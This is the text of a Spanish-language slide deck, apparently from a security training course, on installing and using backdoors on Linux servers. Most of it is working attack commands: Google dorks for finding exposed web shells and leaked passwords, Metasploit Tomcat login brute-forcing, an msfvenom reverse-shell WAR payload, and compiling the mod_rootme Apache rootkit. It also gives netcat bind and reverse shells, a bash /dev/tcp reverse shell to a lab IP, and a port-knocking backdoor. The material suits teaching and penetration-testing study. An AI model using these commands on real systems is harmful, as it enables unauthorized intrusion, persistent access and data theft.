Backdoors en Sistemas Operativos Instalación, configuración y uso de Backdoors AGENDA 1. 2. 3. 4. 5. 6. 7. ¿Quién soy? Casos de Seguridad Informática en el Perú y el mundo Buscando vulnerabilidades backdoors ¿Qué es un backdoor? 1. Backdoor SETUID 2. Backdoor Módulo de APACHE 3. Backdoor Bind Shell 4. Backdoor Reverse Shell 5. Backdoor KnockOut Instalando y configurando backdoors (ejemplos) Información sobre el curso Conclusiones AGENDA 1. 2. 3. 4. 5. 6. ¿Quién soy? Casos de Seguridad Informática en el Perú y el mundo Buscando vulnerabilidades ¿Qué es un backdoor? Instalando y configurando backdoors (ejemplos) Conclusiones #whoami • Ing. Sistemas – ISO 27001 Lead Auditor, CISM, C|EH, C)PTE, C)SWAE, C)PEH, ITILv3, C)ISSO, ISO 27002 • Instructor Oficial de MILE2 • Consultor de Kunak Consulting SAC http://www.kunak.com.pe • Psicólogo que aun no comienza sus estudios…. • Escritor en mis tiempos libres: http://www.el-palomo.com • Correo electrónico: • [email protected] • [email protected] • Cuenta de Facebook: • www.facebook.com/El.Palomo.Seguridad.Informacion AGENDA 1. 2. 3. 4. 5. 6. ¿Quién soy? Casos de Seguridad Informática en el Perú y el mundo Buscando vulnerabilidades ¿Qué es un backdoor? Instalando y configurando backdoors (ejemplos) Conclusiones ¿Quiénes nos amenazan? Y esto….¿en realidad pasa? Y esto….¿en realidad pasa? Colaboradores Internos – 90% Hackers Independientes – 68% Contratistas o proveedores– 66% Hacktivistas – 54% Fuente E&Y Encuesta Global de Seguridad de Inf. 2014 DEMANDA y OFERTA de Hacking en el Perú Una fuerte OFERTA Una fuerte OFERTA Y una más fuerte DEMANDA Y una más fuerte DEMANDA Y una más fuerte DEMANDA Y una más fuerte DEMANDA Y una más fuerte DEMANDA Y una más fuerte DEMANDA Google Dorks para buscar backdoors site:pastebin.com intext:@gmail.com | @yahoo.com | @hotmail.com daterange:2457388-2457491 "Password=" inurl:web.config -intext:web.config ext:config intitle:!C99Shell v. 1.0 site:.pe filetype:php intext:"!C99Shell v. 1.0 beta“ Las personas siempre son los mejores backdoors AGENDA 1. 2. 3. 4. 5. ¿Quién soy? Casos de Seguridad Informática en el Perú y el mundo ¿Qué es un backdoor? Instalando y configurando backdoors (ejemplos) Conclusiones ¿Qué es un Backdoor (puerta trasera)? • Los backdoors son programas utilizados por los hackers para lograr acceso a sistemas operativos de manera rápida y sencilla. • Existen diferentes tipos de backdoors: • Backdoors en Aplicaciones Web • Backdoors a través de SETUID • Backdoors en Módulos de Servicios • Backdoors del tipo Knocking AGENDA 1. 2. 3. 4. 5. ¿Quién soy? Casos de Seguridad Informática en el Perú y el mundo ¿Qué es un backdoor? Instalando y configurando backdoors (ejemplos) Conclusiones Arquitectura de los Ejemplos ATACANTE - Computador desde el cual se realizarán los ataques - Sistema Operativo KALI LINUX 2 TARGET - Servidor TOMCAT vulnerable - Aquí se instalaran los backdoors - Sistema Operativo Linux Dirección IP: 192.168.4.131 Dirección IP: 192.168.4.130 ATACANTE 2 - Computador desde el cual se explotaran los backdoors - Sistema Operativo Linux Dirección IP: 192.168.4.132 Identificar Servicios TOMCAT • Buscamos TOMCAT en la RED LAN a través de NMAP Nmap –sV –p 8080 –sS TARGET auxiliary/scanner/portscan/syn Buscamos TOMCAT/AXIS2 en INTERNET: Google Dork: intitle:"Tomcat Server Administration“ intitle:"Axis2 Happiness Page" +ext:jsp Ahora si …. Vamos con los ejemplos Identificar Vulnerabilidades en TOMCAT • Vamos a utilizar METASPLOIT para identificar vulnerabilidades: Root> msfconsole Root> search tomcat Root> use auxiliary/scanner/http/tomcat_mgr_login Root> show options Root> set RHOSTS 192.168.4.130 Finalmente realizar la carga de un .WAR malicioso para obtener acceso al sistema operativo. msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.4.131 -f war > meterpreter.war En el cliente: Msf> use exploit/multi/handler Msf> set payload java/meterpreter/reverse_tcp Backdoor con SETUID • De pronto algunos nunca escucharon de los permisos GETUID, SETUID y STICKY. Pues este mecanismo de backdoor está asociado a SETUID. ¿Entonces en que consiste el SETUID? El SETUID es un bit que permite a las aplicaciones ejecutarse con los permisos de su propietario. El concepto puede sonar muy abstracto pero si ponemos un ejemplo es más facil entender, vamos a crear un archivo llamado TEST.C y lo compilamos. Backdoor con SETUID Backdoor en Apache Server • Cargamos un módulo en APACHE de tal manera que no se realicen cambios a nivel de código en los aplicativos PHP. • ¿Cuántos administradores de Sistemas verifican los módulos cargados en Apache? • Toca compilar un módulo de APACHE llamado ModROOTme. https://github.com/jingchunzhang/backdoor_ro otkit/tree/master/mod_rootme-0.4 Backdoor en Apache Server • Comandos en el Sistema Operativo root>cd mod_rootme-0.4/ root>Make Linux root> cp mod_rootme2.so /etc/httpd/modules root> /etc/init.d/httpd reload En el cliente: Root> nc 192.168.4.130 80 GET root Backdoor: BindShell • Las primeras herramientas utilizados por Hackers fue la navaja suiza “NETCAT”. • Una BindShell es un programa corriendo una SHELL dentro de un proceso de red. • Una BindShell puede estar escrita en cualquier lenguaje de programación. http://netcat.sourceforge.net/download. php Backdoor: Bind Shell • Comandos en el sistema operativo: root>./configure --enable-DGAPING_SECURITY_HOLE root>Make root> cd src/ root> ./netcat -l -p 8443 -e /bin/sh root> bg En el CLIENTE: C:\>nc64.exe 192.168.75.133 8443 Backdoor: Reverse Shell • Tiene el mismo concepto que una Bind Shell pero realizada de manera reversa. • Ahora es el servidor quien se conecta a nuestro cliente. Esta pensado para poder realizar bypass de Firewalls. Backdoor: Reverse Shell • Reverse Shell con BASH En el cliente: nc64.exe -l -p 8080 -vvv En el servidor: bash -i >& /dev/tcp/192.168.1.34/8080 0>&1 Backdoor: Reverse Shell • Reverse Shell con NETCAT En el cliente: nc64.exe -l -p 8080 -vvv En el servidor: ./netcat -e /bin/sh 192.168.1.34 8080 Backdoor: KnockOut • Knock viene del ingles tocar la puerta. • Este es un backdoor del tipo “Reverse Shell” que pasa desapercibido. • Sólo puede ser accedido por aquel que conozca la combinación de la “puerta” correcta. Backdoor: KnockOut • En el servidor: • Root> $make servidor • Root> ./knock-outd knock-out.conf eth5 • En el cliente (atacante): • Root> $make cliente • Root> ./knock-outc 192.168.4.130 knock-out.conf • Root> ./netcat -lv -p 64876 AGENDA 1. 2. 3. 4. 5. 6. ¿Quién soy? Casos de Seguridad Informática en el Perú y el mundo ¿Qué es un backdoor? Instalando y configurando backdoors (ejemplos) Información sobre el curso Conclusiones Conclusiones: - Instalar backdoors es la manera mas sencilla de acceder a servidor comprometidos. - Cuando un servidor Linux es “comprometido” se recomienda reestablecer un backup ya que detectar backdoors o rootkits es muy complicado. ¿PREGUNTAS?